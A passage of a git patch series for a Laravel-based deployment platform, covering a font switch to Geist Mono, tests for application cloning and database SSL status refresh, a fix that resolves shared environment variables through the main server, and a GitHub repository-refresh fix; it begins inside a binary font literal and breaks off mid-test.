z1W^o$82iT77%z2oq6$5$T53CLw#`a!wYcEkW5=%rsWRK{Q$VJ{HcO!`lVe!&kicC zr|aZCGuROhox7ud`aEQHZ`Jp)=2g(6Rb)&{tk{@D0cz5^(pS1iZp%y$Rd~-<9@!$O zT5h0L0=$N4!k5~xx}2dp&Y)H%Ea%dN)TVU6!3R8wLXsKea*DF&iZ0;d%&1&``s^rW zdd9<$Dev)a+Z@J{9FLJH5Yfe~rb41D3Y$4ZmIZ8z3#J>&9q@+Q+TE5O!cf+%va0Zh zE4|O?O!78Z>^h|V5-N3Q>kqPG{{ugCvg)Z5c2;dt0q8VE^{bnvf348e31Zu!ptLT8z%@b<6Abq$HpPpM7PUkJ?lc>7i|$mF?t2;A z4P4~UCJ3sc5lfPna5%G-LkqN&T93EQ#cBF6!C>`gW(83aam;{P4Kb%#t{7;iD#v#m ztFQBIEScrHHy%04D^G7>KJ6|hp7r*mt`}0=fV!)x%00u*gxr;Uiokng$d!}G?KP2q z_XfnPcMfgSj->zXQAIH(MTnW6m7Bwv{M`8+*{g%01|p-Rp2z<~p^rVvdnSIESFwWt z1P&K6`n>4u!f@7;T7jrJ&wDW|qiw}%u>*NK)9JlC=6k)u(?YKnk%(~6Y0*~l4w$?1 z_8&dw&y>!ws-Pt8_}pV~7ILoS`S*ip(5gay*DwvgW>HD~6;3cx(Y-etKw#l(k{GKs z)g|TW;WNEz0LeL^=~s4MMb*}tS2WG#kOmV@!|A&9G1uBDt!h!sJ5UjVGqRfa!MZ{f z8GikNO*~J;dypJ#Vpj(e9b;YSx@RQWq3#xohuR6)jw#a$5Ihpv93ED67wS~0 zE^1h1ILvZb9o4n%Rs-WkCp~gIiVBorhi%d8ed4O=d|lOsBFei2}#JbJA&& zvPy_W3f<{u-GsL#$88kc^MXpJ8;3>P@T;AL#YI&%8}(MFe$QzIqt{OeD6UH{Nl2s{ zvZUslQJt1zr?{B*){Z3acFVFWQTIS(FtONFME;w*C`$OnnvIR4{|D{@TBjEU|CD^H4^6$j2f)aiZ$oNW-#$|zp z9|cJq7qqZn2*tOY&DN??5IVE`>wiyPhv$LhRwYk;5D8`v!!#IB1BN7gzKGT!mTUZ6 zfCxqZ=HS@zmX_91%RL3P~7_JqyOwwT}pgU-v*@(c$c=md8 zIeQ;%@xkpCfv5QWjz*IQ3JMT-Gl;Na`~cJLjVX9NhKTzxD-&&F^Xzy8{aZP*LzvGe z?r|T`ei72VmxKru%w7*%>f!0fW6bK0!>dE)o^cE3m()2JrmiaQM?^6kEDB)Se2;ijE(69I*8co~z+P&lM#TCZ!E>dOz-wYG}Qh zE}(lWTjG`nZ;j*|-hkKaZ}K7oQ@K(ZI4o$*7NUAJ#{uWpZ4r;z$ayfr;*C9$L%zlA z5rJ8egv4jdYR-m&#Gsi=;2bhrUSNU0b;R9q2ZeAWV%WkxdtP|T)7z1)NW(Z`7+FSm z!L<>WbG59b^IFc}_q=0gIka<~`eWDC9LUj^#n&`=DSE;bA*QfK!uS4ZBM=nlE9SxufHr z?n91X!3|g%gA8IbHy@1Chj!^|r)mNDv+QME$ga&6VrJDbl?)8@9Ek)blATk{Mlgx) zCXbI?Gc}GW2d|tbBziZMdxu=ffiNv$3u^jb--J|Amp{&3C)tCRFk7_>)poO;!SvNG zAYgP)kvhFA`waYSnBY(y%5SZKLCnJK$j@{xEEtT}wNN&Wvjyc_Lzx0xqHN<-9oXtZ zHzCVL+U|py1m+kgn8TbG_CwZCHC(1-lT2C|TBB6UY1Gm5s>H7T`u7RD-o7xAcT zKYi^Py|foc5qL{)GGItRWJg{{^{>Yf`JG5Zodt~$ z0U{6G@Zb-ptOHbd4i-^NYq~x-GAnTpDxRw5n5HJ{N~AF{g(-l!*e$b*$kP1nN^pMz z(qp=sl@2dt%_i>C+7ucHOs${p3p_&7MN5g83Ah@E^&M{#Z&8olDV&MMFq!~EF2osz zj!2TZ-6LDhf8oZZjW(Ok5NQkEk`6lBey7XlZ-Ox**!>yCA7J)D5Fa zCl6ziD%4gBM~N`6jcc)(#8|9Af0N=_v&_Ikw3?6yq=VWDW^TQC6~;EzV_x$d$K}Y) zB%V>WjAK_eq$56S=b|{vsAohEOjmGHOPTi z1e0SO$sdcT!t{DRanXRzh9N$T7_gL!v?xH!T(mOh-l{L4WJA>u1akz167LHo?NE{% zlrf|W+Mcy_zJ5+~X2A%@wxR#Gk_fgiqnH|}S3!~+9e_EnEj}m!E9ehk_QA*D_1l*{ zLA`A~-g>U%I#kW@0oUlu_#>u02p_;yd_S3?3=An3H4?k;{pkI#elOX9dFbSM_M<5I#awUvFp(c!?M@JZg z9J2_!A@CU2&JE+qW*R2o8~tGtdeYjO92O6*1YrtBj;oQ?T_6B6*ApfHx;w)}K=dFc zwU1$P`y>``pU0H;-(d;BNKBZDbTTomT_;S(B(1`d=wxh|0X{3jQZTX>OSg-{GH`N4 zWwIfEhh>p2m>RjYEhxXFB4HNfA{SPGSyaPpsKqR-2&?cBXF~}>N*hWjRX?E2EV z=UV;dKD1@cOT$=>0Z>iuk+Ftx8hD4@xGan^9?|OZf3C=jKHr%-Z(7V#DU(oQzFE zvFH83P^_2h*VeyZ{}vVlJI;F4wN4j-8EocYFfhGHDn-gl8zin%;ke^G56`G`vx=Z5 zCcFwvd#3j?!43K0FbOZR2P1&#oM0rC)g7Ssl6LrOE9{~qB9Feju6$VxK8t|k#2%%m zi`SX5%nOD*Jo=KFvRVonvaGtCioe*c z=~!rbMUJ$JK#aHa^yHUdFhZNj_R=% zbU1|;&lxK|@isH94_s{Vni)mfE6G)q7_*sCtesah10O2zMat@;V{X}MmYZ$;%HihT zoj&?ot|;C1?yF#R9^!gjyc7A^@i8%)3iCMb$>go%1 z_w74zuVg2g%?tD1NiynAkxY~e z4W_;2-@f17KN!J&A^raOCB-_5A;vl%k~GVUl2@y&L#@1AE3v$?E#`|lxt`icZ)UP^ zE?+>3XbCIh1WC~h%khFJ$%;PO(*>Ja0WZ&dL7EqNu@w$YbY4>%hd0e;cQ{jLcjfNk zi4&xPQqopwX5tO3jU!gj?d>x*F*Wn4wXmE;ENDHSMzq-4*%u|9tasqh(assk$L`EI zvPm+w6Y4~vuIZojqLHA0trEs1TxIS_CElFFq1%|8{ybhQtZ zxmxl50Y z7q8yD`|#<@w;#WiFPNP(IT8bj+wD1`ADc+Wd4YpOMK$+zdksx3Z5>@beZgCF9E&5` zuiVPoW~+`^#3K1}cye}eb#wRd^b$*?GWmbE^EI^RaS8_~pfCs|7T*e`3aD|-@l{+d zH%s;F9cG{JKDrt-0#Z@l2^iCplLtoBXwf6wNfoL8aB1{ivnfBj9CfKqw>9>}t=PY( zP3&x+GS_nIR*~tPZay2jHNOJ0F03m?j2Q2ZvSnq=>nt+#6>FiH$$7Nyc3XthIMa!G zw!+UNYDIdF0Nj)1JuS{>I=vg-u@B919vRxoRM7SuVPSW?TDt6C3(^AvcIBa$ZRQ@< z;)KNRekn*#CSDapjn^kgb(i(#rAmaLMM8O^Eipbh-}mb5@{~^d?aYl)=QA0Gvqt@P zoB8tk@+g4V#&R@UH$1nZ)}))v~%zWHJ<;~f5xv!bxyP^zeZ!;IoIN>iwU^Cl_}p9_F-Rj zCNQTSe9@IkPK{;`Wlm3~8sS~l;S)0?zw^)%shs=-`o5Zuza0GTlKmQ}i-gb( z3kVi8h{&igqr!v+9R|crt^grUV^p&VzI0$ggNS_nhN|Vb5-RSwq?42rA{Ik#1-Pqw zRaIRLj{NVRzkY@Y#Z?FjzIU+JWU`r0RL3dO#`M2Q-;ulv+%ACH|9BPKgBg%dG~Nv|NN zh8-}D+Ju1Xr|@Y0^MXkrDm$GC%siNl@gz?uD3KBd!l@Bj$YXG*ws8#u4h0tQY(Svf zf)|*TI)Z?8L!9E2padl-K?$l$2})3c5>$s06sH6wC`NJGAR%kqNybSGp}EhI;=TTO zzS@dQWU+Rj(Uab&ZA26xVswyjQqF$-B z+tO&>GA5M9I{lWTR&}O{hht9&GIs20zBrGi2OKZ4K5a#H=sRNv@47r*AN-u6XC03B zsAn*JNrcG^gv3BOa1@DD0eB1@12!%u#d~4`#w4RM2@HgspDdArLSwMb^9+&TT*vk( z&nW=_aKNZDQxF~67%F(eQs1rUxQf&D{{f`f4?3&RhhMT+08a1)x$K_!b6#1A78v4hFzm z1YVY4VBvm|*8o%iI1minQy>uVbRhUZ0Pv*c`u{^zjG#QD8na45-EChZ!dcEwK_xIEsS$3|y5 zK74|``2?q@;p*%g$BEl~38&i+VPTr~SQ|sSfY%zDzYO{-Vlcv=>IYeo8hjq(aJiAq zb;7-UKHiVm_T}#f<-0?1>(PXYG6IUz_m7tSy?cNcc=E9ny0Pft6Gc)w@l>MZ@!2@G zdme7CcgNZ3lQVed5kYup=-igMJh-lDd`Dd$J}>deTfFls;fsTZ(lbc2YrNX+nv0@l z2>oIM?H!0l+?KUm{B6{j*wyzgC#3D`{U8xUOxl&bZ`fReA?r>RV{)ffkt}~AxXZI| z*XK12oN4jo8h%-}jqy7sXlESCKx=a$)m$Tbd&QL}q?)BxRqwQ~20%nULXOvm{rtRH zuJanp>zlqxZP;Lo@qA2{^eiKnjNjdFhehNNFIHgaE>61 zsJp(|BYRRFCx^pI#FlE>akJ;_oJj?Q|K4Ao9WDQBc^~Hk0000$rCS#O literal 0 HcmV?d00001 diff --git a/resources/js/terminal.js b/resources/js/terminal.js index 3c52edfa0..aa5f37353 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -186,7 +186,7 @@ export function initializeTerminalComponent() { this.term = new Terminal({ cols: 80, rows: 30, - fontFamily: '"Fira Code", courier-new, courier, monospace, "Powerline Extra Symbols"', + fontFamily: '"Geist Mono", "SFMono-Regular", Menlo, Monaco, Consolas, "Liberation Mono", monospace, "Powerline Extra Symbols"', cursorBlink: true, rendererType: 'canvas', convertEol: true, diff --git a/resources/views/livewire/activity-monitor.blade.php b/resources/views/livewire/activity-monitor.blade.php index 290a91857..72b68edd0 100644 --- a/resources/views/livewire/activity-monitor.blade.php +++ b/resources/views/livewire/activity-monitor.blade.php @@ -52,7 +52,7 @@ 'flex-1 min-h-0' => $fullHeight, 'max-h-96' => !$fullHeight, ])> -
{{ RunRemoteProcess::decodeOutput($activity) }}
+
{{ RunRemoteProcess::decodeOutput($activity) }}
@else @if ($showWaiting) diff --git a/resources/views/livewire/project/application/deployment/show.blade.php b/resources/views/livewire/project/application/deployment/show.blade.php index 28872f4bc..c17cda55f 100644 --- a/resources/views/livewire/project/application/deployment/show.blade.php +++ b/resources/views/livewire/project/application/deployment/show.blade.php @@ -330,7 +330,7 @@ class="p-1 text-gray-500 hover:text-gray-700 dark:text-gray-400 dark:hover:text-
-
+
No matches found. @@ -356,7 +356,7 @@ class="shrink-0 text-gray-500">{{ $line['timestamp'] }} ])>{{ $lineContent }}
@empty - No logs yet. + No logs yet. @endforelse
diff --git a/resources/views/livewire/project/shared/get-logs.blade.php b/resources/views/livewire/project/shared/get-logs.blade.php index ee5b65cf5..cb2dcfed1 100644 --- a/resources/views/livewire/project/shared/get-logs.blade.php +++ b/resources/views/livewire/project/shared/get-logs.blade.php @@ -480,7 +480,7 @@ class="flex overflow-y-auto overflow-x-hidden flex-col px-4 py-2 w-full min-w-0 @php $displayLines = collect(explode("\n", $outputs))->filter(fn($line) => trim($line) !== ''); @endphp -
+
No matches found. @@ -518,7 +518,7 @@ class="text-gray-500 dark:text-gray-400 py-2">
@else
No logs yet.
+ class="font-logs whitespace-pre-wrap break-all max-w-full text-neutral-400">No logs yet. @endif
diff --git a/resources/views/livewire/server/docker-cleanup-executions.blade.php b/resources/views/livewire/server/docker-cleanup-executions.blade.php index c59d53d26..d0b848cf1 100644 --- a/resources/views/livewire/server/docker-cleanup-executions.blade.php +++ b/resources/views/livewire/server/docker-cleanup-executions.blade.php @@ -100,7 +100,7 @@ - {{ data_get($result, 'command') }} + {{ data_get($result, 'command') }}
@php $output = data_get($result, 'output'); @@ -108,7 +108,7 @@ @endphp
@if($hasOutput) -
{{ $output }}
+
{{ $output }}
@else

No output returned - command completed successfully diff --git a/tests/Feature/ClonePersistentVolumeUuidTest.php b/tests/Feature/ClonePersistentVolumeUuidTest.php index f1ae8dd26..3f99c5585 100644 --- a/tests/Feature/ClonePersistentVolumeUuidTest.php +++ b/tests/Feature/ClonePersistentVolumeUuidTest.php @@ -1,15 +1,18 @@ user = User::factory()->create(); @@ -17,7 +20,7 @@ $this->user->teams()->attach($this->team, ['role' => 'owner']); $this->server = Server::factory()->create(['team_id' => $this->team->id]); - $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->destination = $this->server->standaloneDockers()->firstOrFail(); $this->project = Project::factory()->create(['team_id' => $this->team->id]); $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); @@ -25,8 +28,13 @@ 'environment_id' => $this->environment->id, 'destination_id' => $this->destination->id, 'destination_type' => $this->destination->getMorphClass(), + 'redirect' => 'both', ]); + $this->application->settings->forceFill([ + 'is_container_label_readonly_enabled' => false, + ])->save(); + $this->actingAs($this->user); session(['currentTeam' => $this->team]); }); @@ -82,3 +90,71 @@ expect($clonedUuids)->each->not->toBeIn($originalUuids); expect(array_unique($clonedUuids))->toHaveCount(2); }); + +test('cloning application reassigns settings to the cloned application', function () { + $this->application->settings->forceFill([ + 'is_static' => true, + 'is_spa' => true, + 'is_build_server_enabled' => true, + ])->save(); + + $newApp = clone_application($this->application, $this->destination, [ + 'environment_id' => $this->environment->id, + ]); + + $sourceSettingsCount = ApplicationSetting::query() + ->where('application_id', $this->application->id) + ->count(); + $clonedSettings = ApplicationSetting::query() + ->where('application_id', $newApp->id) + ->first(); + + expect($sourceSettingsCount)->toBe(1) + ->and($clonedSettings)->not->toBeNull() + ->and($clonedSettings?->application_id)->toBe($newApp->id) + ->and($clonedSettings?->is_static)->toBeTrue() + ->and($clonedSettings?->is_spa)->toBeTrue() + ->and($clonedSettings?->is_build_server_enabled)->toBeTrue(); +}); + +test('cloning application reassigns scheduled tasks and previews to the cloned application', function () { + $scheduledTask = ScheduledTask::forceCreate([ + 'uuid' => 'scheduled-task-original', + 'application_id' => $this->application->id, + 'team_id' => $this->team->id, + 'name' => 'nightly-task', + 'command' => 'php artisan schedule:run', + 'frequency' => '* * * * *', + 'container' => 'app', + 'timeout' => 120, + ]); + + $preview = ApplicationPreview::forceCreate([ + 'uuid' => 'preview-original', + 'application_id' => $this->application->id, + 'pull_request_id' => 123, + 'pull_request_html_url' => 'https://example.com/pull/123', + 'fqdn' => 'https://preview.example.com', + 'status' => 'running', + ]); + + $newApp = clone_application($this->application, $this->destination, [ + 'environment_id' => $this->environment->id, + ]); + + $clonedTask = ScheduledTask::query() + ->where('application_id', $newApp->id) + ->first(); + $clonedPreview = ApplicationPreview::query() + ->where('application_id', $newApp->id) + ->first(); + + expect($clonedTask)->not->toBeNull() + ->and($clonedTask?->uuid)->not->toBe($scheduledTask->uuid) + ->and($clonedTask?->application_id)->toBe($newApp->id) + ->and($clonedTask?->team_id)->toBe($this->team->id) + ->and($clonedPreview)->not->toBeNull() + ->and($clonedPreview?->uuid)->not->toBe($preview->uuid) + ->and($clonedPreview?->application_id)->toBe($newApp->id) + ->and($clonedPreview?->status)->toBe('exited'); +}); diff --git a/tests/Feature/DatabaseSslStatusRefreshTest.php b/tests/Feature/DatabaseSslStatusRefreshTest.php new file mode 100644 index 000000000..eab2b08db --- /dev/null +++ b/tests/Feature/DatabaseSslStatusRefreshTest.php @@ -0,0 +1,77 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +dataset('ssl-aware-database-general-components', [ + MysqlGeneral::class, + MariadbGeneral::class, + MongodbGeneral::class, + RedisGeneral::class, + PostgresqlGeneral::class, + KeydbGeneral::class, + DragonflyGeneral::class, +]); + +it('maps database status broadcasts to refresh for ssl-aware database general components', function (string $componentClass) { + $component = app($componentClass); + $listeners = $component->getListeners(); + + expect($listeners["echo-private:user.{$this->user->id},DatabaseStatusChanged"])->toBe('refresh') + ->and($listeners["echo-private:team.{$this->team->id},ServiceChecked"])->toBe('refresh'); +})->with('ssl-aware-database-general-components'); + +it('reloads the mysql database model when refreshing so ssl controls follow the latest status', function () { + $server = Server::factory()->create(['team_id' => $this->team->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->first(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $database = StandaloneMysql::forceCreate([ + 'name' => 'test-mysql', + 'image' => 'mysql:8', + 'mysql_root_password' => 'password', + 'mysql_user' => 'coolify', + 'mysql_password' => 'password', + 'mysql_database' => 'coolify', + 'status' => 'exited:unhealthy', + 'enable_ssl' => true, + 'is_log_drain_enabled' => false, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $component = Livewire::test(MysqlGeneral::class, ['database' => $database]) + ->assertDontSee('Database should be stopped to change this settings.'); + + $database->forceFill(['status' => 'running:healthy'])->save(); + + $component->call('refresh') + ->assertSee('Database should be stopped to change this settings.'); +}); diff --git a/tests/Feature/LogFontStylingTest.php b/tests/Feature/LogFontStylingTest.php new file mode 100644 index 000000000..c7903fb45 --- /dev/null +++ b/tests/Feature/LogFontStylingTest.php @@ -0,0 +1,45 @@ +toContain("font-family: 'Geist Mono'") + ->toContain("url('../fonts/geist-mono-variable.woff2')") + ->toContain("font-family: 'Geist Sans'") + ->toContain("url('../fonts/geist-sans-variable.woff2')") + ->and($appCss) + ->toContain("--font-sans: 'Geist Sans', Inter, sans-serif") + ->toContain('@apply min-h-screen text-sm font-sans antialiased scrollbar overflow-x-hidden;') + ->toContain("--font-logs: 'Geist Mono'") + ->toContain("--font-geist-sans: 'Geist Sans'") + ->and($fontPath) + ->toBeFile() + ->and($geistSansPath) + ->toBeFile(); +}); + +it('uses geist mono for shared logs and terminal rendering', function () { + $sharedLogsView = file_get_contents(resource_path('views/livewire/project/shared/get-logs.blade.php')); + $deploymentLogsView = file_get_contents(resource_path('views/livewire/project/application/deployment/show.blade.php')); + $activityMonitorView = file_get_contents(resource_path('views/livewire/activity-monitor.blade.php')); + $dockerCleanupView = file_get_contents(resource_path('views/livewire/server/docker-cleanup-executions.blade.php')); + $terminalClient = file_get_contents(resource_path('js/terminal.js')); + + expect($sharedLogsView) + ->toContain('class="font-logs max-w-full cursor-default"') + ->toContain('class="font-logs whitespace-pre-wrap break-all max-w-full text-neutral-400"') + ->and($deploymentLogsView) + ->toContain('class="flex flex-col font-logs"') + ->toContain('class="font-logs text-neutral-400 mb-2"') + ->and($activityMonitorView) + ->toContain('

and($dockerCleanupView)
+        ->toContain('class="flex-1 text-sm font-logs text-gray-700 dark:text-gray-300"')
+        ->toContain('class="font-logs text-sm text-gray-600 dark:text-gray-300 whitespace-pre-wrap"')
+        ->and($terminalClient)
+        ->toContain('"Geist Mono"');
+});
diff --git a/tests/Unit/ServiceParserImageUpdateTest.php b/tests/Unit/ServiceParserImageUpdateTest.php
index 526505098..649795866 100644
--- a/tests/Unit/ServiceParserImageUpdateTest.php
+++ b/tests/Unit/ServiceParserImageUpdateTest.php
@@ -41,7 +41,8 @@
     // The new code checks for null within the else block and creates only if needed
     expect($sharedFile)
         ->toContain('if (is_null($savedService)) {')
-        ->toContain('$savedService = ServiceDatabase::create([');
+        ->toContain('$savedService = ServiceDatabase::forceCreate([')
+        ->toContain('$savedService = ServiceApplication::forceCreate([');
 });
 
 it('verifies image update logic is present in parseDockerComposeFile', function () {

From 30751a60df77b2957d1af209cad4aee194fe799b Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 31 Mar 2026 11:07:52 +0200
Subject: [PATCH 88/95] fix(deployment): resolve shared env vars using main
 server

Use `$this->mainServer` when resolving environment variable values across
deployment env generation (runtime, buildtime, nixpacks, args, and secrets
hash) so shared server-scoped values are applied consistently.

Also add `server_id` to `SharedEnvironmentVariable::$fillable` and normalize
the Livewire Blade file newline.
---
 app/Jobs/ApplicationDeploymentJob.php         | 26 +++++++++----------
 app/Models/SharedEnvironmentVariable.php      |  1 +
 .../shared-variables/server/index.blade.php   |  2 +-
 3 files changed, 15 insertions(+), 14 deletions(-)

diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index b77fa85b8..3c52e03a1 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -1282,7 +1282,7 @@ private function generate_runtime_environment_variables()
             });
 
             foreach ($runtime_environment_variables as $env) {
-                $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->server));
+                $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->mainServer));
             }
 
             // Check for PORT environment variable mismatch with ports_exposes
@@ -1348,7 +1348,7 @@ private function generate_runtime_environment_variables()
             });
 
             foreach ($runtime_environment_variables_preview as $env) {
-                $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->server));
+                $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->mainServer));
             }
 
             // Fall back to production env vars for keys not overridden by preview vars,
@@ -1362,7 +1362,7 @@ private function generate_runtime_environment_variables()
                     return $env->is_runtime && ! in_array($env->key, $previewKeys);
                 });
                 foreach ($fallback_production_vars as $env) {
-                    $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->server));
+                    $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->mainServer));
                 }
             }
 
@@ -1604,7 +1604,7 @@ private function generate_buildtime_environment_variables()
             }
 
             foreach ($sorted_environment_variables as $env) {
-                $resolvedValue = $env->getResolvedValueWithServer($this->server);
+                $resolvedValue = $env->getResolvedValueWithServer($this->mainServer);
                 // For literal/multiline vars, real_value includes quotes that we need to remove
                 if ($env->is_literal || $env->is_multiline) {
                     // Strip outer quotes from real_value and apply proper bash escaping
@@ -1656,7 +1656,7 @@ private function generate_buildtime_environment_variables()
             }
 
             foreach ($sorted_environment_variables as $env) {
-                $resolvedValue = $env->getResolvedValueWithServer($this->server);
+                $resolvedValue = $env->getResolvedValueWithServer($this->mainServer);
                 // For literal/multiline vars, real_value includes quotes that we need to remove
                 if ($env->is_literal || $env->is_multiline) {
                     // Strip outer quotes from real_value and apply proper bash escaping
@@ -2394,7 +2394,7 @@ private function generate_nixpacks_env_variables()
         $this->env_nixpacks_args = collect([]);
         if ($this->pull_request_id === 0) {
             foreach ($this->application->nixpacks_environment_variables as $env) {
-                $resolvedValue = $env->getResolvedValueWithServer($this->server);
+                $resolvedValue = $env->getResolvedValueWithServer($this->mainServer);
                 if (! is_null($resolvedValue) && $resolvedValue !== '') {
                     $value = ($env->is_literal || $env->is_multiline) ? trim($resolvedValue, "'") : $resolvedValue;
                     $this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}"));
@@ -2402,7 +2402,7 @@ private function generate_nixpacks_env_variables()
             }
         } else {
             foreach ($this->application->nixpacks_environment_variables_preview as $env) {
-                $resolvedValue = $env->getResolvedValueWithServer($this->server);
+                $resolvedValue = $env->getResolvedValueWithServer($this->mainServer);
                 if (! is_null($resolvedValue) && $resolvedValue !== '') {
                     $value = ($env->is_literal || $env->is_multiline) ? trim($resolvedValue, "'") : $resolvedValue;
                     $this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}"));
@@ -2543,7 +2543,7 @@ private function generate_env_variables()
                 ->get();
 
             foreach ($envs as $env) {
-                $resolvedValue = $env->getResolvedValueWithServer($this->server);
+                $resolvedValue = $env->getResolvedValueWithServer($this->mainServer);
                 if (! is_null($resolvedValue)) {
                     $this->env_args->put($env->key, $resolvedValue);
                 }
@@ -2555,7 +2555,7 @@ private function generate_env_variables()
                 ->get();
 
             foreach ($envs as $env) {
-                $resolvedValue = $env->getResolvedValueWithServer($this->server);
+                $resolvedValue = $env->getResolvedValueWithServer($this->mainServer);
                 if (! is_null($resolvedValue)) {
                     $this->env_args->put($env->key, $resolvedValue);
                 }
@@ -3572,7 +3572,7 @@ private function generate_secrets_hash($variables)
         } else {
             $secrets_string = $variables
                 ->map(function ($env) {
-                    return "{$env->key}={$env->getResolvedValueWithServer($this->server)}";
+                    return "{$env->key}={$env->getResolvedValueWithServer($this->mainServer)}";
                 })
                 ->sort()
                 ->implode('|');
@@ -3638,7 +3638,7 @@ private function add_build_env_variables_to_dockerfile()
                 if (data_get($env, 'is_multiline') === true) {
                     $argsToInsert->push("ARG {$env->key}");
                 } else {
-                    $argsToInsert->push("ARG {$env->key}={$env->getResolvedValueWithServer($this->server)}");
+                    $argsToInsert->push("ARG {$env->key}={$env->getResolvedValueWithServer($this->mainServer)}");
                 }
             }
             // Add Coolify variables as ARGs
@@ -3660,7 +3660,7 @@ private function add_build_env_variables_to_dockerfile()
                 if (data_get($env, 'is_multiline') === true) {
                     $argsToInsert->push("ARG {$env->key}");
                 } else {
-                    $argsToInsert->push("ARG {$env->key}={$env->getResolvedValueWithServer($this->server)}");
+                    $argsToInsert->push("ARG {$env->key}={$env->getResolvedValueWithServer($this->mainServer)}");
                 }
             }
             // Add Coolify variables as ARGs
@@ -3696,7 +3696,7 @@ private function add_build_env_variables_to_dockerfile()
                 }
             }
             $envs_mapped = $envs->mapWithKeys(function ($env) {
-                return [$env->key => $env->getResolvedValueWithServer($this->server)];
+                return [$env->key => $env->getResolvedValueWithServer($this->mainServer)];
             });
             $secrets_hash = $this->generate_secrets_hash($envs_mapped);
             $argsToInsert->push("ARG COOLIFY_BUILD_SECRETS_HASH={$secrets_hash}");
diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php
index bb1b29b9e..fa6fd45e0 100644
--- a/app/Models/SharedEnvironmentVariable.php
+++ b/app/Models/SharedEnvironmentVariable.php
@@ -17,6 +17,7 @@ class SharedEnvironmentVariable extends Model
         'team_id',
         'project_id',
         'environment_id',
+        'server_id',
 
         // Boolean flags
         'is_multiline',
diff --git a/resources/views/livewire/shared-variables/server/index.blade.php b/resources/views/livewire/shared-variables/server/index.blade.php
index 4183fee5b..f7522eb6a 100644
--- a/resources/views/livewire/shared-variables/server/index.blade.php
+++ b/resources/views/livewire/shared-variables/server/index.blade.php
@@ -22,4 +22,4 @@
             
@endforelse
-
\ No newline at end of file +
From 7638912fdc56e0ef92bfe13821ec6ee0ab07d548 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 31 Mar 2026 12:50:19 +0200 Subject: [PATCH 89/95] fix(github): reset branch state when refreshing repositories Clear `branches` and `total_branches_count` in `loadRepositories` to avoid stale branch data after repo refreshes. Update the Livewire view to use the shared loading button pattern for refresh/load actions, and expand feature coverage for repository refresh behavior and refresh button visibility. --- .../Project/New/GithubPrivateRepository.php | 2 + .../new/github-private-repository.blade.php | 34 +++++------ tests/Feature/GithubPrivateRepositoryTest.php | 60 +++++++++++++++---- 3 files changed, 65 insertions(+), 31 deletions(-) diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 6aa8db085..9d4acb9bb 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -99,6 +99,8 @@ public function updatedBuildPack() public function loadRepositories($github_app_id) { $this->repositories = collect(); + $this->branches = collect(); + $this->total_branches_count = 0; $this->page = 1; $this->selected_github_app_id = $github_app_id; $this->github_app = GithubApp::where('id', $github_app_id)->first(); diff --git a/resources/views/livewire/project/new/github-private-repository.blade.php b/resources/views/livewire/project/new/github-private-repository.blade.php index 27ef6a189..ec0d17506 100644 --- a/resources/views/livewire/project/new/github-private-repository.blade.php +++ b/resources/views/livewire/project/new/github-private-repository.blade.php @@ -4,27 +4,18 @@ + @if ($repositories->count() > 0) + + Refresh Repository List + + + Change Repositories on GitHub + + + @endif
Deploy any public or private Git repositories through a GitHub App.
- @if ($repositories->count() > 0) - - @endif @if ($github_apps->count() !== 0)
@if ($current_step === 'github_apps') @@ -62,7 +53,10 @@ @endforeach
- Load Repository + + Load Repository + + @else
No repositories found. Check your GitHub App configuration.
diff --git a/tests/Feature/GithubPrivateRepositoryTest.php b/tests/Feature/GithubPrivateRepositoryTest.php index 19474caca..abc288519 100644 --- a/tests/Feature/GithubPrivateRepositoryTest.php +++ b/tests/Feature/GithubPrivateRepositoryTest.php @@ -31,7 +31,7 @@ 'team_id' => $this->team->id, ]); - $this->githubApp = GithubApp::create([ + $this->githubApp = GithubApp::forceCreate([ 'name' => 'Test GitHub App', 'api_url' => 'https://api.github.com', 'html_url' => 'https://github.com', @@ -86,27 +86,65 @@ function fakeGithubHttp(array $repositories): void ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], ]; - fakeGithubHttp($initialRepos); - - $component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) - ->call('loadRepositories', $this->githubApp->id) - ->assertSet('total_repositories_count', 1); - - // Simulate new repos becoming available after changing access on GitHub $updatedRepos = [ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], ['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']], ['id' => 3, 'name' => 'gamma-repo', 'owner' => ['login' => 'testuser']], ]; - fakeGithubHttp($updatedRepos); + $callCount = 0; + Http::fake([ + 'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [ + 'Date' => now()->toRfc7231String(), + ]), + 'https://api.github.com/app/installations/67890/access_tokens' => Http::response([ + 'token' => 'fake-installation-token', + ], 201), + 'https://api.github.com/installation/repositories*' 